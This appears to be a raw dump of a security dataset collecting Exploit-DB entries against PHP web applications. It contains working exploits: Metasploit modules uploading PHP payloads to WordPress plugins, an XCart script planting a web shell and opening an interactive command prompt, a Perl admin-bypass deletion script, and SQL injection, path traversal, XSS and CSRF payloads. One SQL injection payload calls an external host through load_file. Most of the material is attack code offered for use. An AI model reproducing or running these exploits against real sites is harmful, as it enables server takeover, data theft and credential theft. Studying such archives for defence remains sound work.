deardaniel/secdata-raw huggingface dataset:
Exploit-DB #36809
Description: WordPress Plugin Reflex Gallery - Arbitrary File Upload (Metasploit)
Type: remote
Platform: php
Date: 2015-04-21
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress Reflex Gallery Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the WordPress Reflex Gallery
        version 3.1.3. The vulnerability allows for arbitrary file upload and remote code execution.
      },
      'Author'         =>
        [
          'Unknown', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['EDB', '36374'],
          ['OSVDB', '88853'],
          ['WPVDB', '7867']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Reflex Gallery 3.1.3', {}]],
      'DisclosureDate' => 'Dec 30 2012', # OSVDB? EDB? WPVDB? Cannot set the date.
      'DefaultTarget'  => 0)
    )
  end

  def check
    check_plugin_version_from_readme('reflex-gallery', '3.1.4')
  end

  def exploit
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'

    data = Rex::MIME::Message.new
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"qqfile\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    time = Time.new
    year = time.year.to_s
    month = "%02d" % time.month

    res = send_request_cgi({
      'uri'       => normalize_uri(wordpress_url_plugins, 'reflex-gallery', 'admin', 'scripts', 'FileUploader', 'php.php'),
      'method'    => 'POST',
      'vars_get'  => {
        'Year'    => "#{year}",
        'Month'   => "#{month}"
      },
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    })

    if res
      if res.code == 200 && res.body =~ /success|#{php_pagename}/
        print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
        register_files_for_cleanup(php_pagename)
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'Server did not respond in an expected way')
    end

    print_status("#{peer} - Calling payload...")
    send_request_cgi(
      'uri'       => normalize_uri(wordpress_url_wp_content, 'uploads', "#{year}", "#{month}", php_pagename)
    )
  end
end
Exploit-DB #36812
Description: WordPress Plugin Work The Flow - Arbitrary File Upload (Metasploit)
Type: remote
Platform: php
Date: 2015-04-21
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Wordpress Work The Flow Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary PHP code upload in the WordPress Work The Flow plugin,
        version 2.5.2. The vulnerability allows for arbitrary file upload and remote code execution.
      },
      'Author'         =>
        [
          'Claudio Viviani', # Vulnerability discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['WPVDB', '7883'],
          ['EDB', '36640'],
          ['URL', 'http://packetstormsecurity.com/files/131294/WordPress-Work-The-Flow-2.5.2-Shell-Upload.html']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['Work The Flow 2.5.2', {}]],
      'DisclosureDate' => 'Mar 14 2015',
      'DefaultTarget'  => 0)
    )
  end

  def check
    check_plugin_version_from_readme('work-the-flow-file-upload', '2.5.4')
  end

  def exploit
    php_pagename = rand_text_alpha(8 + rand(8)) + '.php'

    data = Rex::MIME::Message.new
    data.add_part('upload', nil, nil, 'form-data; name="action"')
    data.add_part(payload.encoded, 'application/octet-stream', nil, "form-data; name=\"files\"; filename=\"#{php_pagename}\"")
    post_data = data.to_s

    res = send_request_cgi({
      'uri'       => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
                                   'jQuery-File-Upload-9.5.0', 'server', 'php', 'index.php'),
      'method'    => 'POST',
      'ctype'     => "multipart/form-data; boundary=#{data.bound}",
      'data'      => post_data
    })

    if res
      if res.code == 200
        print_good("#{peer} - Our payload is at: #{php_pagename}. Calling payload...")
        register_files_for_cleanup(php_pagename)
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'ERROR')
    end

    print_status("#{peer} - Calling payload...")
    send_request_cgi(
      'uri'       => normalize_uri(wordpress_url_plugins, 'work-the-flow-file-upload', 'public', 'assets',
                                   'jQuery-File-Upload-9.5.0', 'server', 'php', 'files', php_pagename)
    )
  end
end
Exploit-DB #38731
Description: XCart 5.2.6 - Code Execution
Type: remote
Platform: php
Date: 2015-11-16
Author: Curesec Research Team

Exploit:
#!/usr/local/bin/python
# Exploit for XCart 5.2.6 Code Execution vulnerability
# An admin account is required to use this exploit
# Curesec GmbH

import sys
import re
import requests # requires requests lib

if len(sys.argv) != 4:
    exit("usage: python " + sys.argv[0] + " http://example.com/xcart/ admin@example.com admin")

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]

loginPath = "/admin.php?target=login"
fileManagerPath = "/admin.php?target=logo_favicon"

shellFileName = "404.php"
shellContent = "GIF89a;<?php passthru($_GET['x']); ?>"

def login(requestSession, url, username, password):
    csrfRequest = requestSession.get(url)
    csrfTokenRegEx = re.search('name="xcart_form_id" type="hidden" value="(.*)" class', csrfRequest.text)
    csrfToken = csrfTokenRegEx.group(1)

    postData = {"target": "login", "action": "login", "xcart_form_id": csrfToken, "login": username, "password": password}
    loginResult = requestSession.post(url, data = postData).text
    return "Invalid login or password" not in loginResult

def upload(requestSession, url, fileName, fileContent):
    csrfRequest = requestSession.get(url)
    csrfTokenRegEx = re.search('SimpleCMS" />\n<input  type="hidden" name="xcart_form_id" value="(.*)" />', csrfRequest.text)
    csrfToken = csrfTokenRegEx.group(1)

    filesData = {"logo": (fileName, fileContent)}
    postData = {"target": "logo_favicon", "action": "update", "page": "CDev\SimpleCMS", "xcart_form_id": csrfToken}
    uploadResult = requestSession.post(url, files = filesData, data = postData)
    return "The data has been saved successfully" in uploadResult.text

def runShell(url):
    print("enter command, or enter exit to quit.")
    command = raw_input("$ ")
    while "exit" not in command:
        print(requests.get(url + command).text.replace("GIF89a;", ""))
        command = raw_input("$ ")


requestSession = requests.session()

if login(requestSession, url + loginPath, username, password):
    print("successful: login")
else:
    exit("ERROR: Incorrect username or password")

if upload(requestSession, url + fileManagerPath, shellFileName, shellContent):
    print("successful: file uploaded")
else:
    exit("ERROR: could not upload file")

runShell(url + shellFileName + "?x=")


Blog Reference:
http://blog.curesec.com/article/blog/XCart-526-Code-Execution-Exploit-87.html
Exploit-DB #33525
Description: Zend Framework 1.9.6 - Multiple Input Validation Vulnerabilities / Security Bypass
Type: remote
Platform: php
Date: 2010-01-14
Author: draic Brady

Exploit:
source: https://www.securityfocus.com/bid/37809/info

Zend Framework is prone to multiple input-validation vulnerabilities and a weakness:

- Multiple cross-site scripting issues
- An HTML-injection issue
- A security-bypass weakness

An attacker may leverage the cross-site scripting issues and HTML-injection issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The attacker can exploit the security-bypass weakness in conjunction with other latent vulnerabilities to bypass certain security restrictions.

Versions prior to Zend Framework 1.7.9, 1.8.5, and 1.9.7 are vulnerable. 

The following example URI is available:

http://www.example.com/index.php?lang=english&skin=&debut=0&seeAdd=1&seeNotes=&seeMess=[XSS-Vuln]
Exploit-DB #49712
Description: 'customhs_js_content' - 'customhs_js_content' Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2021-03-26
Author: Abhishek Joshi

Exploit:
# Exploit Title: GetSimple CMS Custom JS Plugin 0.1 - 'customhs_js_content' Cross-Site Request Forgery
# Exploit Author: Abhishek Joshi 
# Date: March 25, 2021
# Vendor Homepage: http://get-simple.info/extend/plugin/custom-js/1267 / http://get-simple.info/download
# Software Link: http://get-simple.info/extend/export/5260/1267/custom-js.zip
# Version: 0.1 
# Tested On: Windows 10 Pro + XAMPP + PHP Version 7.4.10
# Tested against: Firefox 78.7.0esr (64-bit)

# Vulnerability Description:
# Cross-Site Request Forgery (CSRF) vulnerability in Custom JS v0.1 plugin for GetSimple CMS allows remote attackers to inject arbitrary client-side script code into every webpage hosted on the CMS (Persistent Cross-Site Scripting), when an authenticated admin visiting a third-party site.

## CSRF POST Form Method
<html><body>
    <form action="http://mygetsimplecms.local/admin/load.php?id=CustomJSPlugin" method="POST">
      <input type="hidden" name="customjs_url_content" value="">
      <input type="hidden" name="customjs_js_content" value="alert('Hello Abhishek Joshi from CSRF --> XSS all the things!')">
      <input type="hidden" name="submit" value="Save Settings">
      <input type="submit" value="Submit request">
    </form>
</body></html>
Exploit-DB #42531
Description: (Bitcoin / Dogecoin) PHP Cloud Mining Script - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-08-21
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Bitcoin,Dogecoin Mining 1.0 - Authentication Bypass
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: https://codecanyon.net/user/bousague
# Software Link: https://codecanyon.net/item/bitcoindogecoin-mining-php-script/20315581
# Demo: http://test.z-files.site/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to access the user panel and administration panel ...
#	
# Proof of Concept:
# 
# http://localhost/[PATH]/
# http://localhost/[PATH]/admincqqq
# User: anything Pass: 'or 1=1 or ''='
# 
# Etc...
# # # # #
Exploit-DB #4896
Description: 0DayDB 2.3 - 'id' Remote Authentication Bypass
Type: webapps
Platform: php
Date: 2008-01-11
Author: Pr0metheuS

Exploit:
#!/usr/bin/perl
#Autor : Pr0metheuS
#Script : 0DayDB v2.3
#Version : v2.3
#Dork : "Powered By 0DayDB v2.3"
#Gr33tz-Team.org
use LWP::UserAgent;
if(@ARGV!=3){
	print "*****************\n";
	print "0DayDB v2.3 Remote Admin Bypass\n";
    print "perl $0 <site> <path> <id>\n";
    print "downloads ID for delete\n";
    print "*****************\n";
}
($site,$path,$id)=@ARGV;
sub pri {
	print "*****************\n";
	print "[+] Exploit completed\n";
	print "*****************";
}
sub con {
$ua = new LWP::UserAgent;
$ua->agent("Mozilla/8.0");
$ua = LWP::UserAgent->new;
my $req = HTTP::Request->new(POST => "".$site."".$path."/acp/delete.php");
$req->content_type('application/x-www-form-urlencoded');
$req->content("id=".$id."");
$res = $ua->request($req);
if ($res->is_success) {
	pri();
}
}
con();

# milw0rm.com [2008-01-11]
Exploit-DB #26561
Description: 1-2-3 Music Store 1.0 - 'Process.php' SQL Injection
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15544/info

1-2-3 Music Store is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/process.php?pname=ShowAlbumDetailsProcess-Start&CategoryID=CategoryID&AlbumID=[sql]
Exploit-DB #51759
Description: 101 News 1.0 - Multiple-SQLi
Type: webapps
Platform: php
Date: 2024-01-31
Author: nu11secur1ty

Exploit:
## Title: 101 News-1.0 Multiple-SQLi
## Author: nu11secur1ty
## Date: 09/16/2023
## Vendor: https://mayurik.com/
## Software: https://www.sourcecodester.com/php/16067/best-online-news-portal-project-php-free-download.html
## Reference: https://portswigger.net/web-security/sql-injection

## Description:
The searchtitle parameter appears to be vulnerable to SQL injection
attacks. The payload '+(select
load_file('\\\\sple0q0yfc2wv1hbekfzk7vtikoec6gu7xvpif64.oastify.com\\utu'))+'
was submitted in the searchtitle parameter. This payload injects a SQL
sub-query that calls MySQL's load_file function with a UNC file path
that references a URL on an external domain. The application
interacted with that domain, indicating that the injected SQL query
was executed.


[+]Payload:
```mysql
---
Parameter: searchtitle (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: searchtitle=-7320%' OR 3167=3167 AND 'urvA%'='urvA

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: searchtitle=814271'+(select
load_file('\\\\sple0q0yfc2wv1hbekfzk7vtikoec6gu7xvpif64.tupaputka.com\\utu'))+'%'
AND (SELECT 8775 FROM (SELECT(SLEEP(15)))yMEL) AND 'gPWH%'='gPWH

    Type: UNION query
    Title: MySQL UNION query (NULL) - 3 columns
    Payload: searchtitle=814271'+(select
load_file('\\\\sple0q0yfc2wv1hbekfzk7vtikoec6gu7xvpif64.tupaputka.com\\utu'))+'%'
UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,CONCAT(0x71627a6a71,0x4b6d704e6546715a[PII_REDACTED]705179434d6d5a71586b567a4278464c564d[PII_REDACTED]6f787063,0x[PII_REDACTED]),NULL,NULL#

## Reproduce:
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/mayuri_k/2022/101%20News-1.0

## Proof and Exploit:
https://www.nu11secur1ty.com/2023/09/101-news-10-multiple-sqli.html

System Administrator - Infrastructure Engineer
Penetration Testing Engineer
nu11secur1ty <http://nu11secur1ty.com/>
Exploit-DB #3832
Description: 1024 CMS 0.7 - 'download.php' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-05-02
Author: Dj7xpl

Exploit:
                                                       \#'#/
                                                       (-.-)
                              --------------------oOO---(_)---OOo-------------------
                              |                [ Y! Underground Group ]            |
                              |                 [ www.dj7xpl.2600.ir ]             |
                              |                  [ Dj7xpl @ 2600.ir ]              |
                              ------------------------------------------------------


<--------------------------------------------------------------------------------------------------------------------->

 [!] Portal :  1024 CMS Version 0.7
 [!] Vendor :  http://www.treble.lfhost.com
 [!] Author :  Dj7xpl
 [!] Type   :  Remote File Disclosure Vuln
 [!] We Are :  Y4Ho0 -Mr.Mithridates -Sir SiSiLi -System Failure -Satanic Soulfull -And Me

<--------------------------------------------------------------------------------------------------------------------->

<--------------------------------------------------------------------------------------------------------------------->

PoC :

http://[Target]/[Path]/includes/download.php?item=../uploads/[File]
http://Target.com/1024/includes/download.php?item=../uploads/../../../../../etc/passwd

<--------------------------------------------------------------------------------------------------------------------->

# milw0rm.com [2007-05-02]
Exploit-DB #18000
Description: 1024 CMS 1.1.0 Beta - 'force_download.php' Local File Inclusion
Type: webapps
Platform: php
Date: 2011-10-19
Author: Sangyun YOO

Exploit:
 
# Exploit Title: [1024 CMS Version 1.1.0 beta(/complete-modules/modules/forcedownload/force_download.php) Local File Inclusion Vulnerability]
# Date: [2011/10/19]
# Author: [Sangyun YOO][I2SEC]
# Email: yoosy0302 at naver dot com
# Software Link: [http://1024cms.org/]
# Version: [1024 CMS Version 1.1.0 beta]
# Tested on: [Windows 7 Starter K]
 
---------------------------------------
 
source of force_download.php:
1: <?php
2 include(dirname(__FILE__)."/cls_forcedl.php");
3: $filename = $_GET['filename']; <----------------- LFI
4: $forcedl = new forcedownload();
5: $forcedl->dlfile($filename);
6: exit();
6: ?>
 
---------------------------------------
 
proof of concept:
http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../boot.ini
 
http://[attacked_box]/[1024cms v1.1.0 beta]/complete-modules/modules/forcedownload/force_download.php?filename=../../../../../../../../[localfile]
Exploit-DB #35598
Description: 1024 CMS 1.1.0 Beta - Multiple Input Validation Vulnerabilities
Type: webapps
Platform: php
Date: 2011-04-08
Author: QSecure & Demetris Papapetrou

Exploit:
source: https://www.securityfocus.com/bid/47282/info

1024cms is prone to multiple cross-site scripting vulnerabilities, multiple local file-include vulnerabilities, and a directory-traversal vulnerability

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site, steal cookie-based authentication credentials, and open or run arbitrary files in the context of the webserver process ad gain access to sensitive information.

1024cms 1.1.0 beta is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?mode=login&processfile=../../../../../../etc/passwd%00
http://www.example.com/index.php?msg=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
http://www.example.com/modules/forcedownload/force_download.php?filename=../../../../../../../etc/passwd
http://www.example.com/index.php?act=../../../../../../etc/passwd%00
http://www.example.com/dashboard.php?act=../../../../../../../etc/passwd%00
http://www.example.com/index.php?msg=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
http://www.example.com/dashboard.php?msg_error=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
http://www.example.com/dashboard.php?msg_okay=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
http://www.example.com/dashboard.php?msg_info=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
http://www.example.com/dashboard.php?msg_attention=PHNjcmlwdD5hbGVydCgnWFNTJyk7PC9zY3JpcHQ%2b
Exploit-DB #4765
Description: 1024 CMS 1.3.1 - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2007-12-21
Author: irk4z

Exploit:
  vuln.: 1024 CMS 1.3.1 (LFI/SQL) Multiple Vulnerabilities
  script info and download: http://www.1024cms.com

  author: irk4z[at]yahoo.pl
  greets to: str0ke, wacky
'-----------------------------------------------------------------------------'


# sql-injection:

 code:

   /admin/ops/findip/ajax/search.php:
   ...
 8     $get_users = mysql_query("SELECT id, username FROM ".$prefix."users WHERE ip='".$_POST['ip']."'") or die("cannot get ips: ".mysql_error());
   ...
   
   ^ if magic_quotes_gpc==off, we can get all usernames and passwords from database ;]

 exploit:
 
  <form method="POST" action="http://[host]/[path]/admin/ops/findip/ajax/search.php">
   <input style="width:600px" type="text" name="ip" value="z' AND 1=2 UNION SELECT 1,concat(username,0x20,password) FROM otatf_users/*" />
   <input type="submit" value="ok" />
  </form>


# local file inclusion:

 code:

   /admin/ops/reports/ops/download.php, /admin/ops/reports/ops/forum.php, /admin/ops/reports/ops/news.php:
   ...
 1     <?php
 2     include("./themes/".$admin_theme_dir."/templates/default_header.tpl");
   ...
 
   /pages/print/default/ops/news.php:
   ...
 5     if(!isset($_GET['id']) || !is_numeric($_GET['id'])) die("ID Not Set");
 6     include("./lang/".$lang."/news/default.php");
   ...

   /pages/download/default/ops/search.php:
   ...
 1     <?php
 2     include("./themes/".$theme_dir."/templates/default_header.tpl");
   ...


 exploits:

   http://[site]/[path]/admin/ops/reports/ops/download.php?admin_theme_dir=../../../../../../../../../boot.ini%00
   http://[site]/[path]/admin/ops/reports/ops/forum.php?admin_theme_dir=../../../../../../../../../boot.ini%00
   http://[site]/[path]/admin/ops/reports/ops/news.php?admin_theme_dir=../../../../../../../../../boot.ini%00
   http://[site]/[path]/pages/print/default/ops/news.php?id=1&lang=../../../../../../../../../boot.ini%00
   http://[site]/[path]/pages/download/default/ops/search.php?theme_dir=../../../../../../../../../boot.ini%00

# milw0rm.com [2007-12-21]